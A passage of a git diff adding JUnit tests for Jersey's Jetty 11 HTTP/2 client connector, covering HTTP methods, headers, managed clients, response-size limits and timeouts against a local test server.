+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ @Test
+ public void testHttp2Presence() {
+ final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+ assertTrue(provider instanceof JettyHttp2ConnectorProvider);
+
+ final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
+ assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
new file mode 100644
index 00000000000..cb3b3198a30
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
new file mode 100644
index 00000000000..215408bd25d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+ /**
+ * Managed client configuration for client A.
+ */
+ @ClientBinding(configClass = MyClientAConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public static @interface ClientA {
+ }
+
+ /**
+ * Managed client configuration for client B.
+ */
+ @ClientBinding(configClass = MyClientBConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public @interface ClientB {
+ }
+
+ /**
+ * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+ * to every method that is annotated with {@link Require @Require} internal feature
+ * annotation.
+ */
+ public static class CustomHeaderFeature implements DynamicFeature {
+
+ /**
+ * A method annotation to be placed on those resource methods to which a validating
+ * {@link CustomHeaderFilter} instance should be added.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ @Target(ElementType.METHOD)
+ public static @interface Require {
+
+ /**
+ * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerName();
+
+ /**
+ * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerValue();
+ }
+
+ @Override
+ public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+ final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+ if (va != null) {
+ context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+ }
+ }
+ }
+
+ /**
+ * A filter for appending and validating custom headers.
+ *
+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+ *
+ *
+ * On the server side, validates that each request has a custom header with a configured name and value.
+ * If the validation fails a HTTP 403 response is returned.
+ *
+ */
+ public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+ private final String headerName;
+ private final String headerValue;
+
+ public CustomHeaderFilter(String headerName, String headerValue) {
+ if (headerName == null || headerValue == null) {
+ throw new IllegalArgumentException("Header name and value must not be null.");
+ }
+ this.headerName = headerName;
+ this.headerValue = headerValue;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext ctx) throws IOException { // validate
+ if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+ ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+ .type(MediaType.TEXT_PLAIN)
+ .entity(String
+ .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+ .build());
+ }
+ }
+
+ @Override
+ public void filter(ClientRequestContext ctx) throws IOException { // append
+ ctx.getHeaders().putSingle(headerName, headerValue);
+ }
+ }
+
+ /**
+ * Internal resource accessed from the managed client resource.
+ */
+ @Path("internal")
+ public static class InternalResource {
+
+ @GET
+ @Path("a")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+ public String getA() {
+ return "a";
+ }
+
+ @GET
+ @Path("b")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+ public String getB() {
+ return "b";
+ }
+ }
+
+ /**
+ * A resource that uses managed clients to retrieve values of internal
+ * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+ * and require a specific custom header in a request to be set to a specific value.
+ *
+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+ * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+ * with a proper value into the outgoing client requests.
+ *
+ */
+ @Path("public")
+ public static class PublicResource {
+
+ @Uri("a")
+ @ClientA // resolves to /internal/a
+ private WebTarget targetA;
+
+ @GET
+ @Produces("text/plain")
+ @Path("a")
+ public String getTargetA() {
+ return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+ }
+
+ @GET
+ @Produces("text/plain")
+ @Path("b")
+ public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+ return targetB.request(MediaType.TEXT_PLAIN).get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+ .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ public static class MyClientAConfig extends ClientConfig {
+
+ public MyClientAConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "a"));
+ }
+ }
+
+ public static class MyClientBConfig extends ClientConfig {
+
+ public MyClientBConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "b"));
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ /**
+ * Test that a connection via managed clients works properly.
+ *
+ * @throws Exception in case of test failure.
+ */
+ @Test
+ public void testManagedClient() throws Exception {
+ final WebTarget resource = target().path("public").path("{name}");
+ Response response;
+
+ response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("a", response.readEntity(String.class));
+
+ response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("b", response.readEntity(String.class));
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
new file mode 100644
index 00000000000..8412c41ebbd
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @POST
+ public String post(String entity) {
+ return entity;
+ }
+
+ @PUT
+ public String put(String entity) {
+ return entity;
+ }
+
+ @PATCH
+ public String patch(String entity) {
+ return entity;
+ }
+
+ @DELETE
+ public String delete() {
+ return "DELETE";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().get().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPut() {
+ Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPutAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDelete() {
+ Response response = target(PATH).request().delete();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDeleteAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().delete().get();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPatch() {
+ Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+ assertEquals("PATCH", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testOptionsWithEntity() {
+ Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+ assertEquals(200, response.getStatus());
+ response.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
new file mode 100644
index 00000000000..1c14296c4b7
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+public class NoEntityTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public Response get() {
+ return Response.status(Response.Status.CONFLICT).build();
+ }
+
+ @POST
+ public void post(String entity) {
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ }
+ }
+
+ @Test
+ public void testPostWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ cr.close();
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
new file mode 100644
index 00000000000..e3b2c3d0075
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class SyncResponseSizeTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+ private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+ @Path("/test")
+ public static class TimeoutResource {
+
+ private static final byte[] data = new byte[maxBufferSize];
+
+ static {
+ Byte b = "a".getBytes()[0];
+ for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+ }
+
+ @GET
+ @Path("/small")
+ public String getSmall() {
+ return "GET";
+ }
+
+ @GET
+ @Path("/big")
+ public String getBig() {
+ return new String(data);
+ }
+
+ @GET
+ @Path("/verybig")
+ public String getVeryBig() {
+ return new String(data) + "a";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testDefaultSmall() {
+ Response r = target("test/small").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDefaultTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/big").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ Response r = t.path("test/big").request().get();
+ String p = r.readEntity(String.class);
+ assertEquals(p.length(), maxBufferSize);
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/verybig").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
new file mode 100644
index 00000000000..59f242e11c6
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+ @Path("/test")
+ public static class TimeoutResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("timeout")
+ public String getTimeout() {
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return "GET";
+ }
+
+ /**
+ * Long-running streaming request
+ *
+ * @param count number of packets send
+ * @param pauseMillis pause between each packets
+ */
+ @GET
+ @Path("stream")
+ public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+ @QueryParam("pauseMillis") int pauseMillis) {
+ StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+ return Response.ok(streamingOutput)
+ .build();
+ }
+ }
+
+ private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+ return output -> {
+ try {
+ TimeUnit.MILLISECONDS.sleep(startMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+ output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ for (int i = 0; i < count; i++) {
+ try {
+ TimeUnit.MILLISECONDS.sleep(pauseMillis);
+ }
+ catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ }
+
+ output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+ output.flush();
+ }
+ output.write("end".getBytes(StandardCharsets.UTF_8));
+ };
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testFast() {
+ Response r = target("test").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testSlow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testTimeoutInRequest() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
